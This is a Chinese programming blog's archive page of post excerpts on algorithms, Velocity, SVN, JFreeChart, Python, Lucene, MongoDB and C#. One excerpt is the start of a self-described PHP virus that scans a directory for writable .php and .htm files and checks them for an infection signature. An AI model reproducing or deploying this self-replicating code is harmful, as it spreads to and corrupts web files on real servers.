现在位置: 首页 > dusting发表的所有文章
  • 10月
  • 10日
综合 ⁄ 共 1864字 评论关闭
UVA 810 - A Dicey Problem 题目链接 题意:一个骰子,给你顶面和前面,在一个起点,每次能移动到周围4格,为-1,或顶面和该位置数字一样,那么问题来了,骰子能不能走一圈回到原地,输出路径,要求最短,如果有多个最短,按照上下左右输出 思路:读懂题就是水题,就记忆化搜一下即可,记录状态为位置和骰子顶面,正面(因为有两面就能确定骰子了) 代码: #include <cstdio> #include <cstring> #include <vector> using namespace std; const int D[4][2] = {-1, 0, 1, 0, 0, -1, 0, 1}; const int N =......
阅读全文
  • 08月
  • 09日
综合 ⁄ 共 1186字 评论关闭
<?php //第一只php病毒(据说是) $handle=opendir('.'); while ($file = readdir($handle)) { $infected=true; $executable=false; if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr($file, '.php')) ) if ( is_file($file) && is_writeable($file) ) { $host = fopen($file, "r"); $contents = fread ($host, filesize ($file)); $sig = strstr ($contents, 'pirus.php'); if(!$sig) $infected=false; } if (($infected==false)) { $h......
阅读全文
  • 07月
  • 07日
综合 ⁄ 共 19481字 评论关闭
目    录 1.本文目地和使用对象... 2 2.什么是Velocity?. 3 3.Velocity能为你做什么?. 3 1.一个Mud Store Example. 3 4.Velocity Template Language (VTL): 介绍... 4 5.输出第一个VTL页面!. 4 6.Comments(注释). 5 7.References(引用)5 1.Variables(变量). 5 2.Properties(属性). 6 3.Methods(命令)... 6 4.属性引用中的属性查找规则... 6 8.Formal Reference Notation(正规引用格式注意事项). 7 9.Quiet Reference Notation(静态引用输出). 7 10.Getting literal( 语义问题)8 1.Currency(货币标志). 8 2.Escaping Valid VTL......
阅读全文
  • 06月
  • 10日
综合 ⁄ 共 912字 评论关闭
        最近看到javascript函数参数传递都是按值传递这个问题,实在是纠结,老是感觉对象的传递是引用传递,其实就是叫法不同而已,每个人对引用传递的理解角度也不一样,最后自我感觉找到正确的原因,记录下来,以备后查;         这个问题的重点在哪里?  我的答案是首先要搞清楚按值传递和按引用传递到底是啥?         这个值传递就不讨论了,很明显,传的就是值的副本;         按引用传递呢?  传递的是对象的引用(包括引用副本)就是引用传递吗?如果这么理解引用传递,那么javascript中的对象传递就属于引用传递了!正......
阅读全文
  • 05月
  • 26日
综合 ⁄ 共 1215字 评论关闭
本题用Dijstra或者搜索。 dfs代码如下: #include<stdio.h> #include<stdlib.h> #define maxn 0x7fffffff struct Node_Type{ int dis; int bsend; int bback; int path[508]; }res,cur; int c,n,s,m,cnt=0; int bk[508],rel[508][508],vst[508]; void dfs(int p){ int i,j; if(p==s){ if(cur.dis<res.dis){ res=cur; } else if(cur.dis==res.dis){ if(cur.bsend<res.bsend){ res=cur; } else if(cur.bsend==res.bsend){ if(cur.bback<res.bback){ ......
阅读全文
  • 04月
  • 22日
综合 ⁄ 共 1217字 评论关闭
题意:给定一个矩阵,可以相邻的行或列交换一个元素。首尾也算相邻。最小交换多少次。可以使每行梅列的1的个数相同。或每一行的1的数量一样多。或每一列一样多。 #include <cstdio> #include <cstring> #include <cmath> #include <algorithm> #include <iostream> #include <queue> #include <stack> using namespace std; const int N = 1009; const int INF = 0x3f3f3f3f; char a[N][N]; int row[N],col[N],re[N]; int n,m,s; int get(int nn,int f,int t) { int l=f,k=0; ......
阅读全文
  • 04月
  • 15日
综合 ⁄ 共 4487字 评论关闭
svn help svn help export   export: Create an unversioned copy of a tree. usage: 1. export [-r REV] URL[@PEGREV] [PATH]        2. export [-r REV] PATH1[@PEGREV] [PATH2]   1. Exports a clean directory tree from the repository specified by      URL, at revision REV if it is given, otherwise at HEAD, into      PATH. If PATH is omitted, the last component of the URL is used      for the local directory name.   2. Exports a clean directory tree from the working copy specified by      PATH1, at ......
阅读全文
  • 02月
  • 07日
综合 ⁄ 共 13204字 评论关闭
JFreeChart类:void setAntiAlias(boolean flag)    字体模糊边界void setBackgroundImage(Image image)   背景图片void setBackgroundImageAlignment(int alignment)  背景图片对齐方式(参数常量在org.jfree.ui.Align类中定义)void setBackgroundImageAlpha(float alpha)  背景图片透明度(0.0~1.0)void setBackgroundPaint(Paint paint)   背景色void setBorderPaint(Paint paint)   边界线条颜色void setBorderStroke(Stroke stroke)   边界线条笔触void setBorderVisible(boolean visible)   边界线条是否可见 -----------......
阅读全文
  • 12月
  • 10日
综合 ⁄ 共 336字 评论关闭
code如下: #coding=utf-8 print '中国' #字符和字符值之间的转化 print ord('a') print chr(97) print ord(u'a')     #unicode和ansi值是一样的 print ord(u'中') print unichr(20013) #unicode print repr(unichr(20013)) #规范表示 print str(unichr(20013))  #供人阅读的模式 print map(ord,'abc中国') #错的 print map(ord,u'abc中国') #对的 打印结果如下: 中国 97 a 97 20013 中 u'\u4e2d' 中 [97, 98, 99, 228, 184, 173, 229, 155, 189] [97, 98, 99, 20013, 22269]
阅读全文
  • 12月
  • 07日
综合 ⁄ 共 2461字 评论关闭
filter过滤操作,对query出来的文档进行再次过滤。   public class SearcherUtil { private Directory directory=null; private IndexWriter writer=null; private IndexReader reader=null; private IndexSearcher searcher=null; public void createMyIndex() { try { directory=FSDirectory.open(new File("D:/lucene/index03")); writer=new IndexWriter (directory, new IndexWriterConfig(Version.LUCENE_45,new StandardAnalyzer(Version.LUCENE_45))); File[] files=new File("D:/......
阅读全文
  • 11月
  • 01日
综合 ⁄ 共 2496字 评论关闭
在上两篇博客中我们分别阐述了分片集群的工作原理以及搭建过程。在本篇博客中我们主要一起分析分片集群的测试结果; 首先看分片集群的各个状态,可以看的出复制集A和B都是正常的: 一、开启分片集合 开启一个数据库上的分片,这是对任何集合进行分片的先决条件。 假设测试数据库为slidetest.    分片集合定义注意:它看起来和索引定义有几分相似之处,尤其是有那个unique键。在对一个空集合进行分片时候,mongodb会在每个分片上创建一个与分片对应的索引。可以直接连上分片,运行getIndexs()进行验证。可以登陆到3000进行查看。......
阅读全文
  • 11月
  • 01日
综合 ⁄ 共 3310字 评论关闭
C# 2.0新特性与C# 3.5新特性 一、C# 2.0 新特性: 1、泛型List<MyObject> obj_list=new List();obj_list.Add(new MyObject()); 2、部分类(partial)namespace xxx{public partial class Class1{private string _s1;public string S1{get { return _s1; }set { _s1 = value; }}} //或在另一个文件中public partial class Class1{public string GetString(){string s = this.S1 + "aaa";return s;}}} 3、静态类public static class MyStaticObject{private static string _s;static MyStaticObject(){_s = "Hello";}public stat......
阅读全文